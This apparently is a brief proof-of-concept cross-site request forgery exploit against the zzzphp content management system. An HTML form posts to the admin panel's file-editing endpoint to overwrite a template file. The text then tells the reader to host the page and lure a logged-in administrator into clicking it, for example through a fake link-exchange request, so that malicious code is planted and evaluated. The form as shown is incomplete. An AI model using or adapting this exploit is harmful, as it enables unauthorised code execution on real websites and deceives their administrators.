<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">
<input type="hidden" name="file" value="/zzzphp/template/pc/cn2016/html/search.html" />

Save the codes above as html file and host it on a web server. Send the link to the administrator of the website and ask him to click the link(request for exchange friend link or any other possible method), if the person has logged on to the admin panel, it will automatically insert malicious codes in to the template file and leads to dynamic code evaluation.
